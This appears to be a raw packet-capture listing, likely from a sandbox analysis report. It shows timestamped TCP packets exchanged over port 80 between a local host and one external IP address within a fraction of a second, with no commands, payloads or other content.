Apr 17, 2024 06:57:12.155241013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155270100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155276060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155302048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155318022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155342102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155519009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155554056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155572891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155594110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155599117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155635118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155638933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155683041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155951023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155987024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156023026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156042099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156055927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156069994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156109095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156255007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156299114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156308889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156344891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156348944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156378031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156392097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156424046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156538010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156590939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156626940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156661987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156675100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156702042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156708956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156748056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.156953096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.156990051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.157006979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.157026052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.157037020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.157057047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.157071114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.157099009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.157213926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.157249928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.157267094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.157285929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.157295942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.157316923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.157330990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.157361984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207118034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207221031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207257986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207290888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207325935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207361937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207365036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207365036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207365036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207365036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207365036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207396984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207429886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.207442045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207442045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.207470894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208158016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208194017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208220005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208235979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208241940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208276987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208285093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208312988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208321095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208347082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208360910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208383083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208390951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208415031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208426952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208463907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208858013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208894968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208911896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208930016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208940983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.208962917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.208981037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209005117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209551096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209588051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209604979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209625006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209635019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209660053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209669113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209705114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209724903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209745884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209749937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209780931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209794044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209813118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.209825993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.209858894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210304022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210361004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210405111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210423946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210441113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210448980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210457087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210478067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210478067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210489035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210505009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210520029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210530996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210530996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210536003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210551977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210556030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210556030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210570097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210575104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210586071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210594893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210602045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210618019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210621119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210621119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210643053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210656881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210675001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210690975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210705996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210716009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210722923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210738897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.210741043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210741043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210762024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.210779905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.259828091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.259916067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.259959936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.259991884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260091066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260092020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260092020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260092020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260601997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260618925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260634899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260651112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260660887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260660887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260696888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260696888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260752916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260768890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260783911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260793924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260799885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.260822058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260822058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.260853052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261034966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261077881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261091948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261110067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261128902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261136055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261164904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261164904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261591911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261609077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261624098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261640072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.261641979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261642933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261673927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.261673927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.262948990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.262965918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.262995005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.262995958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263010979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263016939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263041019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263041019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263459921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263475895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263499022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263514042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263525009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263525009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263556004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263556004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263655901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263673067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263695955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263703108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263710976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.263730049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263730049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.263758898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264319897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264360905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264364958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264379025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264394045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264404058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264410019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264426947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264426947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264447927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264484882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264501095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264514923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.264533043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264533043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.264564037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265028000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265073061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265077114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265089989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265104055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265120983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265120983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265151024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265168905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265185118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265201092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265211105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265216112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.265233040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265233040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.265255928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.312527895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.312571049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.312607050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.312638998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.312644005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.312644005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.312726021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.312726021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313373089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313409090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313430071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313442945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313451052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313513041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313525915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313561916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313808918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313851118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313863039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313888073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313899994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313920021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.313931942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.313963890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314018011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314054012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314068079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314089060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314099073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314120054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314132929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314165115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314609051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314644098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314661026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314680099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314691067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314712048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.314727068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.314755917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.315753937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.315788984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.315808058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.315824986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.315830946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.315857887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.315871954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.315900087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316142082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316176891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316212893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316221952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316241980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316246033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316261053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316288948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316550016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316586018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316602945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316622019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316643000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316654921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316663980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316689968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316700935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316741943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316756964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316792965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316802025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316823959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.316836119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.316869974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317177057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317213058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317230940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317248106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317254066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317279100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317292929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317315102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317328930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317362070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317382097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317416906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317428112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317449093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317466974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317495108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317843914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317878962 CEST	80	49730	185.172.128.23	192.168.2.4
